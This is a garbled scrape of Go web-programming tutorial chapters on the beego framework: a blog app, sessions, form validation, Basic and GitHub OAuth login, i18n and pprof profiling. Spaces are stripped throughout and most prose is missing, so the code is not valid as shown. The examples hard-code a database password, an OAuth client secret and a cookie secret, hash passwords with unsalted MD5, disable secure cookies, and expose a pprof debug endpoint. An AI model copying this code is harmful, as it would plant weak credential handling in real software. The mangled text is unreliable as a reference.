funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}
}
beego.Critical beego.AppConfig.String("url")(app.conf)
appname=hsurl="http://www.api.com/api.html"
links
: controller:
13.5beegobeego
.├──controllers│├──delete.go│├──edit.go│├──index.go│├──new.go│└──view.go├──main.go├──models│└──model.go└──views├──edit.tpl
├──index.tpl├──layout.tpl├──new.tpl└──view.tpl
//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})
CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));
IndexController:
typeIndexControllerstruct{beego.Controller}
func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}
ViewController:
typeViewControllerstruct{beego.Controller}
func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"}
NewController
typeNewControllerstruct{beego.Controller}
func(this*NewController)Get(){this.Layout="layout.tpl"
this.TplNames="new.tpl"}
func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
EditController
typeEditControllerstruct{beego.Controller}
func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}
func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
DeleteController
typeDeleteControllerstruct{beego.Controller}
func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}
model
packagemodels
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")
typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}
funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}
funcGetAll()(blogs[]Blog){db:=GetLink()
db.FindAll(&blogs)return}
funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}
funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}
funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}
view
layout.tpl
<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;}</style></head><body>
<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li>
</ul>
{{.LayoutContent}}
</body></html>
index.tpl
<h1>Blogposts</h1>
<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>
view.tpl
<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br> <textareaname="content"colspan="3"rowspan="10"></textarea>
<inputtype="submit"></form>
edit.tpl
<h1>Edit{{.Post.Title}}</h1>
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br> <textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>
links
::
13.6GoGohttpMVCControllercontrollerRESTtornadolayoutGobeegogithubbeego
links
:
: Web
14 WebWebMVCWebWebtwitterbootstrapsessionmodelhttpbasichttpdigesti18nGopprof
beegoWebbeego
links
::
14.1
beegotwitterhtmlcssbootstrap
beego
Gonet/http ServeFileFileServerbeego
//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}
StaticDirurlURLurlhttp.ServeFile
beego.StaticDir["/asset"]="/static"
urlhttp://www.beego.me/asset/bootstrap.css/static/bootstrap.css
bootstrap
BootstrapTwitterBootstrapWebCSSHTMLHTML5Web
BootstrapWebJavascriptBootstrap13jQueryBootstrap“”BootstrapCSS
14.1bootstrap
bootstrapbeego
1. bootstrapstatic
14.2
2. beegoStaticDirstatic
StaticDir["/static"]="static"
3.
//css
<linkhref="/static/css/bootstrap.css"rel="stylesheet">
//js<scriptsrc="/static/js/bootstrap-transition.js"></script>
//<imgsrc="/static/img/logo.png">
bootstrapbeego
14.3bootstrap
bootstrapbootstrap
links
: Web: Session
14.2Session
GosessionsessionMangerbeegosessionManagersession
session
beegosession
//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory
SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies
GlobalSessions*session.Manager//session
ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val}else{SessionGCMaxLifetime=3600
}
beego.Run
ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}
SessionOntruesessiongoroutinesession
Controllersession beego.Controller
func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}
session
beegosession
mainsession
beego.SessionOn=true
session
func(this*MainController)Get(){varintcountintsess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}
session
1. session
//,PHPsession_start()sess:=this.StartSession()
1. sessionsession
//sessionPHP $_SESSION["count"]sess.Get("count")
//sessionsess.Set("count",intcount)
beegosessionPHP session_start()
links
::
14.3Web
HTML
Gostructbeegoformstruct
Webstructformstructtag
typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`
Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}
structcontroller
func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}
<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>
struct
func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}
form
text No textbox
button No
checkbox No
dropdown No
file No
hidden No
password No
radio No
textarea No
required No FALSE
matches Yes FALSE matches[form_item]
is_unique Yes
Falseis_unique[User.Email]UserEmailfalseCallback
is_unique[table.field]
min_length Yes FALSE min_length[6]
max_length Yes FALSE max_length[12]
exact_length Yes FALSE exact_length[8]
greater_than Yes FALSE greater_than[8]
less_than Yes FALSE less_than[8]
alpha No FALSE
alpha_numeric No FALSE
alpha_dash No ///FALSE
numeric No FALSE
integer No FALSE
decimal Yes FALSE
is_natural No FALSE0,1,2,3....
is_natural_no_zero No FALSE1,2,3.....
valid_email No emailFALSE
valid_emails No emailFALSE
valid_ip No IPFALSE
valid_base64 No base64FALSE
links
: Session
:
14.4Web
HTTPBasicHTTPDigestQQOPENIDgooglegithubfacebooktwittersessioncookie
beegobeego
HTTPBasic HTTPDigest
github.com/abbot/go-http-auth
beego
packagecontrollers
import("github.com/abbot/go-http-auth""github.com/astaxie/beego")
funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}
typeMainControllerstruct{beego.Controller}
func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
beegopreparehttpauthdigest
oauth oauth2
oauthoauth2QQ
github.com/bradrydzewski/go.auth
beegooauthgithub
1.
beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})
2. GithubController```Go
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth")
const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")
typeGithubControllerstruct{beego.Controller}
func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
githubHandler:=auth.Github(githubClientKey,githubSecretKey)
githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}
3.```Go
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http"
"net/url")
typePageControllerstruct{beego.Controller}
func(this*PageController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
user,err:=auth.GetUserCookie(this.Ctx.Request)
//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}
//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}
//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)
this.Ctx.Redirect(302,"/")}}
//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"return}
passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"return}
md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)
ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}
}
funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}
funccheckUsername(usernamestring)(bbool){
ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}
func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}
links
::
14.5go-i18nbeego
i18n
beego
Translationi18n.ILLangstring//zhenLangPathstring//
:
funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}
beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{
s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}
1. i18n
beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()
2.
jsonLangPathzh.jsonen.json
#zh.json
{"zh":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
3.
controller
func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}
//{{.create|Trans}}
//{{.time|TransDate}}
//{{.money|TransMoney}}
links
:
: pprof
14.6pprofGo
net/http/pprof
runtime/pprof
net/http/pprofruntime/pprofhttp
beego pprof
beegopprofgoroutineGo"net/http/pprof"GoWebbeegoServHTTPbeegopprof
beego.Run
ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}
ProfConterller```Go
packagebeego
import("net/http/pprof"
)
typeProfControllerstruct{Controller}
func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Request)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}
##
pprof```Go
beego.PprofOn=true
gotoolpprofhttp://localhost:8080/debug/pprof/profile
30profilecpu
(pprof)top10
Total:3samples
133.3%33.3%133.3%MHeap_AllocLocked
133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors
133.3%100.0%133.3%runtime.sigprocmask
00.0%100.0%133.3%MCentral_Grow
00.0%100.0%266.7%main.Compile
00.0%100.0%266.7%main.compile
00.0%100.0%266.7%main.run
00.0%100.0%133.3%makeslice1
00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP
00.0%100.0%266.7%net/http.(*conn).serve
(pprof)web
::
14.7beegobeegobootstrapbeegosessionManagerbeegosessionGostructWebhttpbasichttpdigestbeegobeegogo-i18nWebGopprofpprofbeegopprofpprofbeegobeegoWeb
links
: pprof
AGoWeb
1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo11. RESTful